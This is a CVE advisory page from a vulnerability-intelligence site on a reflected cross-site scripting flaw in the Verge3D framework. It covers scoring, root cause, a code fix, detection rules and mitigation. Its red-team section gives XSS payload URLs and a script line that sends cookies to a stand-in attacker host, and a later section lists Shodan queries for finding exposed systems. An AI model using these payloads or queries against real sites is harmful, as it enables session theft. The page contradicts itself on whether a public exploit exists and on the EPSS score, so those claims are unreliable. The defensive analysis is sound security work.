☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Soft8soft llc logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22709

CVE-2025-22709 Cross-Site Scripting in Soft8soft llc
📅 PUBLISHED: 2025-01-21 14:15 UTC 🔄 UPDATED: 2026-08-21 19:23 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22709 is a reflected Cross-Site Scripting (XSS) vulnerability in the Verge3D web publishing framework by Soft8Soft LLC. This flaw allows an attacker to inject arbitrary JavaScript into a web page generated by Verge3D, leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 4.8.0. No official patch has been released, and no public proof-of-concept (PoC) or exploit code is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using Verge3D to host interactive 3D applications.

Note: Verge3D is a standalone web publishing tool, not a WordPress plugin. The vulnerability is in the Verge3D application itself, not in the underlying web server (Apache/Nginx).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Verge3D is distributed as a commercial product via the Soft8Soft website and is not available on public package registries like NPM or PyPI. Therefore, supply chain risks are limited to the integrity of the vendor's distribution channel. Users should verify the authenticity of downloaded files via checksums provided by Soft8Soft.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – the vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – no special conditions are required.
  • Privileges Required (PR): None – no authentication needed.
  • User Interaction (UI): Required – the victim must click a crafted link.
  • Scope (S): Changed – the injected script can affect other resources.
  • Confidentiality (C): Low – limited data exposure.
  • Integrity (I): Low – limited ability to modify content.
  • Availability (A): Low – limited ability to disrupt service.

Threat Level: High. Although no public exploit exists, the vulnerability is trivial to exploit once discovered. The lack of a patch increases the risk for all Verge3D deployments.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input during web page generation. Verge3D applications often embed user-controlled parameters (e.g., from URL query strings) directly into the HTML output without proper encoding or sanitization. An attacker can craft a malicious URL containing JavaScript payloads in parameters such as ?model=, ?scene=, or ?config=. When a victim visits this URL, the payload is reflected back in the page and executed in the victim's browser context.

Root Cause: The Verge3D application does not escape or validate input before embedding it into the HTML response. This is a classic reflected XSS flaw.

Attack Flow:

  1. Attacker identifies a Verge3D application endpoint that reflects user input (e.g., https://victim.com/verge3d/app?model=<script>alert(1)</script>).
  2. Attacker crafts a malicious URL with a JavaScript payload.
  3. Attacker distributes the URL via phishing, social media, or other channels.
  4. Victim clicks the link and the payload executes in their browser.
  5. The payload can steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual):

// Vulnerable: directly embedding user input into HTML
var modelName = getParameterByName('model');
document.getElementById('viewer').innerHTML = '<div>' + modelName + '</div>';

Patched Code (Expected):

// Patched: using textContent or proper encoding
var modelName = getParameterByName('model');
document.getElementById('viewer').textContent = modelName;
// OR
document.getElementById('viewer').innerHTML = '<div>' + escapeHtml(modelName) + '</div>';

The fix involves either using textContent instead of innerHTML or applying HTML entity encoding to user input before insertion.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install Verge3D version 4.8.0 on a local web server (e.g., Apache, Nginx, or Python's http.server).
  2. Deploy a sample Verge3D application that reflects a URL parameter (e.g., ?name=).

Exploitation Steps:

  1. Identify a parameter that is reflected in the page. Common parameters include model, scene, config, app, or id.
  2. Craft a payload: https://victim.com/verge3d/app?model=<script>alert(document.cookie)</script>
  3. If the parameter is reflected in a JavaScript context, use a payload like: https://victim.com/verge3d/app?model=1';alert(1)//
  4. For more advanced attacks, use a payload that exfiltrates data:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    

No public exploit code is available. The above steps are based on the vulnerability description.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing suspicious patterns like <script>, alert(, onerror=, or javascript:.
  • Use WAF rules to block reflected XSS attempts.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

  • Since no patch exists, the primary mitigation is to disable or restrict access to Verge3D applications until a fix is released.
  • Apply input validation and output encoding manually if you have access to the Verge3D source code.
  • Use a reverse proxy with XSS filtering capabilities.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing ?model=<script> or similar patterns.
    • Outbound connections to unknown domains from the victim's browser (data exfiltration).
  • File IOCs:
    • Modified Verge3D application files (if attacker gains write access).
  • Behavioral IOCs:
    • Unexpected JavaScript execution in Verge3D pages.
    • Unusual redirects or pop-ups.

Detection Engineering

YARA Rule

rule CVE_2025_22709_Verge3D_XSS {
    meta:
        description = "Detects reflected XSS attempts against Verge3D applications"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-22709"
    strings:
        $xss1 = /[?&](model|scene|config|app|id)=[^&]*<script/i
        $xss2 = /[?&](model|scene|config|app|id)=[^&]*alert\(/i
        $xss3 = /[?&](model|scene|config|app|id)=[^&]*onerror=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Verge3D
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads targeting Verge3D parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'alert('
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22709 Verge3D Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"?model="; http_uri; pcre:"/(<script|alert\(|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable or restrict access to Verge3D applications until a patch is released.
  2. Short-term: Implement a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
  3. Long-term: Apply input validation and output encoding to all user-controlled parameters in Verge3D applications. Use textContent instead of innerHTML where possible.
  4. Monitor: Watch for updates from Soft8Soft regarding a security patch.
  5. User Education: Train users not to click on suspicious links, especially those containing Verge3D URLs.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Verge3D"
http.html:"verge3d"
http.html:"v3d" "application" "3d"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22709/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.